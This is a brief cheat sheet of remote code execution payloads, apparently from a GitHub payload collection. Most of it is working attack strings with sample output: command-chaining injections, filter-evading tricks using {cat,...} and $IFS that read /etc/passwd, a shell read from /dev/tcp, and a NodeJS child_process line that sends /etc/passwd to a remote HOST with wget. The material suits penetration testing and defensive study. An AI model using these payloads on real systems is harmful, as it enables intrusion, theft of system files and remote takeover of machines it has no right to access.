Remote Code Execution

Remote code execution is a security vulnerability that allows an attacker to execute codes from a remote server.

Exploits

Normal code execution, execute the command and voila :p

cat /etc/passwd 
root:x:0:0:root:/root:/bin/bash 
daemon:x:1:1:daemon:/usr/sbin:/bin/sh 
bin:x:2:2:bin:/bin:/bin/sh 
sys:x:3:3:sys:/dev:/bin/sh

Code execution by chaining commands

original_cmd_by_server; ls
original_cmd_by_server && ls
original_cmd_by_server | ls

Code execution without space

swissky@crashlab▸ ~ ▸ $ {cat,/etc/passwd}
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

swissky@crashlab▸ ~ ▸ $ cat$IFS/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

swissky@crashlab▸ ~ ▸ $ echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd
RCE
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

swissky@crashlab▸ ~ ▸ $ X=$'uname\x20-a'&&$X
Linux crashlab 4.4.X-XX-generic #72-Ubuntu

swissky@crashlab▸ ~ ▸ $ sh</dev/tcp/127.0.0.1/4242

NodeJS Code execution

require('child_process').exec('wget --post-data+"x=$(cat /etc/passwd)"+HOST')

1.2 KiB Raw Blame History

Remote Code Execution

Exploits

Thanks to

1.2 KiB

Raw Blame History